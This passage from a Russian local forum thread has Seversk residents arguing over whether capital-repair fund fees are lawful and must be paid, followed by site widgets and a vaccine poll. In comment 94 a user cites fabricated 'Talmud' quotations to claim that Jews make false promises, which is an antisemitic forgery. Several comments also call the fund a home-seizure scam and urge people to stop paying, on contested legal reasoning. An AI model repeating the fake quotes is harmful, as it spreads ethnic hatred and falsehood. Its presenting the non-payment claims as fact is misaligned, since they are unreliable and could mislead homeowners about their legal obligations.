NoName, опять дуркуешь. Договор с собственником жилого помещения на проведение работ по капитальному ремонту у Фонда отсутствует, поэтому никакой юридической ответственности Фонд нести не может. Перечитай ещё раз мой комментарий под №79. Программа - это не договор, Программа всего лишь план действия, направленный на достижение некой цели. Юридическая ответственности за срыв выполнения программы отсутствует. Любой желающий может убедиться, что за срыв выполнения программы построения коммунизма в 1980 году, программы предоставления каждой семье квартиры к 2000 году никто не был привлечён к ответственности. 

Комментарий № 83:

Написал: Землянин
Цитата: NoName
Никакой фонд ни при каких обстоятельствах право на отремонтированное общее имущество собственников не получит.  
 
Любой желающий может убедиться с фактом присвоения общенародной собственности СССР кучкой олигархов. Фонд – такая же жулька от нелюди. 

Комментарий № 84:

Написал: kvk
NoName Объясните - каким образом "добровольные" взосы собственников жилья становятся средствами Фонда?  Генеральная прокуратура России отозвала из Конституционного суда (КС) письмо, в котором признавала, что сборы на капитальный ремонт домов являются частично неконституционными, «с учетом необходимости дополнительной проработки вопроса», говорится в письме Александра Буксмана на имя зампреда КС Сергея Маврина 

Комментарий № 85:

Написал: NoName
Цитата: Землянин
Договор с собственником жилого помещения на проведение работ по капитальному ремонту у Фонда отсутствует, поэтому никакой юридической ответственности Фонд нести не может.

Ну, тут мне все понятно. ОТвеча в послещ\дний раз, чтобы голову ты людям не морочил:
Обязанности возникают не только из договора, но и:
статья 8 ГК РФ:
В соответствии с этим гражданские права и обязанности возникают:
1) из договоров и иных сделок;
1.1) из решений собраний
2) из актов государственных органов и органов местного самоуправления;
3) из судебного решения;
4) в результате приобретения имущества по основаниям, допускаемым законом;
5) в результате создания произведений науки, литературы, искусства, изобретений и иных результатов интеллектуальной деятельности;
6) вследствие причинения вреда другому лицу;
7) вследствие неосновательного обогащения;
8) вследствие иных действий граждан и юридических лиц;
9) вследствие событий, с которыми закон или иной правовой акт связывает наступление гражданско-правовых последствий.

Жилищный кодекс РФ, областная программа, Положенние о фонде - это все акты гос органа, из которых следует юридическая обязанность фОНДА ДЕЛАТЬ КАПРЕМОНТ

Комментарий № 86:

Написал: Panika

Цитата: NoName
Цитата: Землянин У программы отсутствует юридический статус, а, значит, юридическим документом программа не является. Неикому больше об этом не говори. Программа утверждена нормативным правоым актом и по этой причине является обязательным для исполнения документом, имеющим "юридический статус".
 

вымораживаешь мозг людям......молодец ты в деле заблуждений. У программы кап.рем том области отсутствует обязательный признак установленный ЖК РФ, а именно период проведения ремонта и перечень работ по конкретным домам.  
Ну ка Но Нэйм скажи когда мне допустим Калинина 115 в северске отремонтируют и какие работы сделают?
оппа и нихера не скажешь))) , а платить за неизвестность в будущем могут только дураки.

Фонд - это попытка узаконить перекрестное субсидирование...........собрали с одного дома, потратили на другой, собрали с третьего потратили на четвертый.    
Не платите люди как и не платили..............сломать их еще чуть чуть осталось и они включат заднюю......не верьте новостям- там врут что платить людей стало больше. Врут чтоб и вы слабину дали. 

Комментарий № 87:

Написал: NoName
Цитата: Panika
вымораживаешь мозг людям......

кое кому нельзя выморозить то, что отсутствует
Цитата: Panika
обязательный признак установленный ЖК РФ, а именно период проведения ремонта и перечень работ по конкретным домам.

если бы ты потрудился и посмотрел программу, то увидел там бы и период и перечень работ (услуг). Причем перечень не по конкретному дому, а в целом, поскольку ЖК РФ не требует указания по конкретному дому - смотри внимательно ст.168 ЖК РФ
И указывается период ремонта, а не конкретная дата.
Потому что:
1. каждый год будут определять какие дома нуждаются в ремонте в большей степени, но все они должны быть отремонтированы в плановый период (первый период - до 2023 года).
2. Как можно сейчас определить конкретный перечень работ на доме, который будет ремонтироваться через 6-7 лет?
Цитата: Panika
Фонд - это попытка узаконить перекрестное субсидирование

Это такое страшное слово? Только оно не запрещено законом такое "перекрестное субсидирование"
Цитата: Panika
Не платите люди как и не платили.

Да ради бога, не платите. Только с кого потом требовать замену лифта или ремонт кровли?

Комментарий № 88:

Написал: коля-ваня
Программа капремонта расчитана на 30 лет. За этот период Региональный оператор обещает капитально отремонтировать жилищный фонд тех домов, которые перечисляют платежи на счет Регионального оператора.  Теперь сделаем подсчет:
  В Северске 760 многоквартирных дома, примерно 40 из них открыли спецсчет для накопления денежных средств для проведения капремонта своего дома. Утвердили сроки проведения и перечень ннобходимых работ на своем МКД.  Для того чтобы оставшиеся 720 домов отремонтировали в сроки утвержденной программы необходимо 720 домов разделить на 360 (колличество месяцов за 30лет) получим два дома в месяц должно быть откапиталино. 
Как мы видим, показательный ремонт кровли на Курчатова,5 идет уже пятый месяц. Самое интересное, что после замены  кровли он выбывает из программы. 
Вопрос замены системы отопления и каналыги на этом доме остается открытым.  
Поразило еще то, что перечень работ по капремонту и цену услуги собственники не утверждали.
Делайте выводы земляки.


--------------------
.

Комментарий № 89:

Написал: kvk
Генеральная прокуратура России отозвала из Конституционного суда (КС) письмо, в котором признавала, что сборы на капитальный ремонт домов являются частично неконституционными, «с учетом необходимости дополнительной проработки вопроса», говорится в письме Александра Буксмана на имя зампреда КС Сергея Маврина. Вот и всё. То же самое произошло и с Прокуратурой Северска по теплу. Выиграв Суд у Администрации в Северске - отозвали иск из Апелляции.

Комментарий № 90:

Написал: Power
Ну...и последние новости:
Дмитрий Медведев призвал наказывать за растрату средств на капремонт
26 февраля
«Нужно принять решения, которые если не все нюансы учтут, то хотя бы на большинство вопросов ответят, в том числе по поводу того, кто этими деньгами управляет, не «проедают» ли они эти деньги», — цитирует Медведева РИА Новости.

По словам премьер-министра, растраты средств фондов на капремонт будут «жёстко пресекать, возбуждать административное и уголовное производство».
https://russian.rt.com/article/150866

---
Т.е. уже начали "проедать"???
Однако.)
***************************************************

Попытки нецелевого использования денег на капремонт должны жестко пресекаться вплоть до возбуждения уголовных дел. Об этом в пятницу заявил

премьер-министр РФ Дмитрий Медведев на встрече с калининградским активом «Единой России»,  передаёт  РИА «Новости».

 

Премьер призвал партийцев общаться с людьми на тему капремонта, разъяснять им, кто управляет деньгами. Не должно быть так, что эти средства «по копеечке собираются со всех жителей, в том числе бедных людей, а потом там кто-нибудь ездит на дорогих машинах, которые куплены на эти деньги», подчеркнул Медведев.

«Этого не будет, не сомневайтесь. Это и сейчас запрещено, но я обращаюсь ко всем присутствующим, прошу вас лично следить за этим, потому что люди у нас очень „изобретательные“, в том числе в органах управления, если найдут какой-то обходной способ направлять эти деньги на приобретение посторонних вещей и предметов — для офисов, для себя любимых… Это нужно жестко пресекать, возбуждать административное и уголовное производство», — еще раз подчеркнул глава кабмина.

Кроме того, Медведев отметил, что нужно как можно быстрее проводить ремонт, чтобы жители сразу видели результаты.
«Вот соседний дом отреставрировали, он реально выглядит лучше, в подъезде чисто, кошками уже не воняет как раньше, все прилично, и понятно, куда деньги пошли», — наставлял премьер однопартийцев.
****************************************************
Дом, о котором сказал Медведев, не откапиталили, а всего лишь отреставрировали. Пример странный, конечно...
Если уж сам Медведев говорит об этом вслух - не сомневаюсь, что так и будет, как он говорит.
И куда уйдут ваши платежи - не найдёте...
НЕ ВЕРЮ!



Комментарий № 91:

Написал: Землянин
Цитата: NoName
Обязанности возникают не только из договора, но и: статья 8 ГК РФ: В соответствии с этим гражданские права и обязанности возникают:  ... из актов государственных органов и органов местного самоуправления;
 

Дурковище не разводи, мозгокрут. Тебе же Roman в комментарии №78 объяснил разницу между обязанностью и ответственностью.

Любому человеку в здравом уме и твёрдой памяти известен факт, когда 17 августа 1998 года Правительство РФ  во главе с Сергеем Кириенко объявили дефолт – неспособность отвечать по своим обязательствам.

Неспособность отвечать по своим обязательствам у Фонда – изначально, так как по своей структуре и положением действующего законодательства о фондах не может сам производить операции по осуществлению задачи капремонта. 

Комментарий № 92:

Написал: Землянин
Цитата: NoName
Как можно сейчас определить конкретный перечень работ на доме, который будет ремонтироваться через 6-7 лет?
 

Именно, поэтому, собственникам Фонд с программой не нужны.

Плата за жилое помещение (виды работ и услуг, цена, сроки) определяется договорными отношениями, то есть, она не относится к категории обязательных платежей, как налог. 

Закон «О защите прав потребителей»: «Потребитель обязан оплатить выполненную исполнителем в полном объеме работу после её принятия потребителем. С согласия потребителя работа может быть оплачена им при заключении договора в полном размере или путем выдачи взноса».

А тут Фонд требует от собственников  аванс за работу, которая, может быть, будет выполнена через несколько лет, а может быть, и не выполнена никогда. Как строительство коммунизма в СССР. 

Комментарий № 93:

Написал: Землянин
Цитата: коля-ваня
Делайте выводы земляки.
 
Вывод очевиден. Фонд создан не для выполнения работ по капитальному ремонту, а для отъёма жилья у собственников. По факту Фонд себя собственником уже объявил, о чём в комментарии №24 от 21 февраля 2016 kvk , хотя юридически им не является, то есть не имеет права взыскивать что-то с должника через суд, начислять пени, требовать от собственников жилых помещений добровольных пожертвований. 

Комментарий № 94:

Написал: Землянин
Цитата: Power
НЕ ВЕРЮ!
 

Любой человек в здравом уме не будет верить тварям, для которых:

Schabouth Hag 6d: «Евреи могут давать лживые обещания для отговорок.» 

 Nedarim 23b: «Тот, кто хочет чтобы все его обещания, данные за год стали недействительными, пусть встанет в начале года и скажет: Все обещания, которые я могу дать в течение года аннулируются. Теперь его обещания недействительны.»  

Комментарий № 95:

Написал: Power
"А тут Фонд требует от собственников  аванс за работу, которая, может быть, будет выполнена через несколько лет, а может быть, и не выполнена никогда."
и
«Потребитель обязан оплатить выполненную исполнителем в полном объеме работу после её принятия потребителем. "
-
Северчане, вчитайтесь, произнесите вслух очень громко вот эти две фразы. И будет  вам счастье.


stroimguru.ru
Курс валюты:
102.3 43↓   $     106.5 44↓  

Опрос дня:

Вы будете делать прививку от коронавируса?

Нет   49.38%
   
Да, планирую   8.64%
   
Да, но если заставят (на работе / для путешествий)   4.94%
   
Уже сделал   27.16%
   
Затрудняюсь ответить   9.88%
   
Всего голосов: 81

Все опросы >>

Архив статей: